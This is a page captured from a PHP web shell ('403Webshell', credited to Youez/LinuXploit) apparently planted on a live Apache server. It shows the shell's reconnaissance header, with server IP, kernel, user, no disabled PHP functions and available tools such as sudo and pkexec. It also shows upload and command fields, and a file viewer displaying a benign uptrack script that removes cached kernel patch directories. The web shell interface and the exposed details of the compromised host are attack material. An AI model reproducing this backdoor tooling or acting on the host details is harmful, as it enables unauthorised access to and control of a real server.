403Webshell
Server IP : 152.69.216.235  /  Your IP : 80.80.80.28
Web Server : Apache/2.4.37 (Oracle Linux Server)
System : Linux ust-wp4-prod 5.15.0-310.184.5.2.el8uek.x86_64 #2 SMP Wed Jul 9 16:08:33 PDT 2025 x86_64
User : apache ( 48)
PHP Version : 8.4.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/uptrack/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/uptrack/clean-update-cache
#!/usr/libexec/platform-python
import os
import errno
import sys
import subprocess
import argparse
import logging
import shutil

def setup_logging():
    logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
 
def is_command_valid(command):
    try:
        if sys.version_info[0] < 3:
            # Check if command exists in older python versions
            with open(os.devnull, 'w') as devnull:
                return subprocess.call([command, '--version'], stdout=devnull, stderr=devnull) == 0
        else:
            # Check if command exists using python3
            result = subprocess.run([command, '--version'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            return result.returncode == 0
    except OSError as e:
        if e.errno == errno.ENOENT:
            # Either dpkg or rpm doesn't exist, will return false 
            return False
        else:
            logging.exception("Neither RPM or DEB exist, unable to perform cache cleanup.")
            return False
    
def is_kernel_installed_rpm(kernel_version):
    if not is_command_valid('rpm'):
        return False
    try:
        package_names = ["kernel-uek-{}".format(kernel_version), "kernel-{}".format(kernel_version)]
        if sys.version_info[0] < 3:
            with open(os.devnull, 'w') as devnull:
                installed = any(
                    subprocess.call(['rpm', '-q', package_name], stdout=devnull, stderr=devnull) == 0
                    for package_name in package_names
                )
        else:
        # using python3
            installed = any(
                subprocess.run(['rpm', '-q', package_name], stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True).returncode == 0
                for package_name in package_names
            )
        return installed
    except Exception as e:
        logging.exception("Did not find an installed RPM package for kernel version {}".format(kernel_version))
        return False

def is_kernel_installed_deb(kernel_version):
    if not is_command_valid('dpkg'):
        return False
    try:
        package_name = "linux-image-{}".format(kernel_version)
        if sys.version_info[0] < 3:
            with open(os.devnull, 'w') as devnull:
                result = subprocess.call(['dpkg', '-l', package_name], stdout=devnull, stderr=devnull) == 0
        else:
            result = subprocess.run(['dpkg', '-l', package_name], stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True)
        return result.returncode == 0
    except Exception as e:
        logging.exception("Did not find an installed DEB package for kernel version {}".format(kernel_version))
        return False

def is_kernel_installed(file_path):
    kernel_version = os.path.basename(file_path)
    return is_kernel_installed_rpm(kernel_version) or is_kernel_installed_deb(kernel_version)

def cleanup(directory):
    try:
        linux_dir = os.path.join(directory, 'Linux')
        if not os.path.isdir(linux_dir):
            logging.info("Directory {} does not exist, nothing to clean.".format(linux_dir))
            return True
        
        for subdir in os.listdir(linux_dir):
            arch_dir = os.path.join(linux_dir, subdir)
            if os.path.isdir(arch_dir):
                logging.info("Processing directory: {}".format(arch_dir))
                items = os.listdir(arch_dir)
                for item in items:
                    kernel_dir = os.path.join(arch_dir, item)
                    if os.path.isdir(kernel_dir):
                        if not is_kernel_installed(kernel_dir):
                            try:
                                shutil.rmtree(kernel_dir)
                                logging.info("Deleted: {}".format(kernel_dir))
                            except Exception as e:
                                logging.exception("Error deleting directory {}: {}".format(kernel_dir, e))
                                return False
                        else:
                            logging.info("Kept: {}".format(kernel_dir))
        return True
    except Exception as e:
        logging.exception("Error cleaning up directory: {}".format(e))
        return False

def main():
    setup_logging()

    parser = argparse.ArgumentParser()
    parser.add_argument('-d', '--directory', type=str, default="/var/cache/uptrack", help="Directory path to clean. Default is `/var/cache/uptrack`.")
    args, _ = parser.parse_known_args()

    success = cleanup(args.directory)
    if success:
        logging.info("Directory cleaned up successfully: {}".format(args.directory))
    else:
        logging.exception("Directory cleanup failed: {}".format(args.directory))
        sys.exit(1)


if __name__ == "__main__":
    main()

Youez - 2016 - github.com/yon3zu
LinuXploit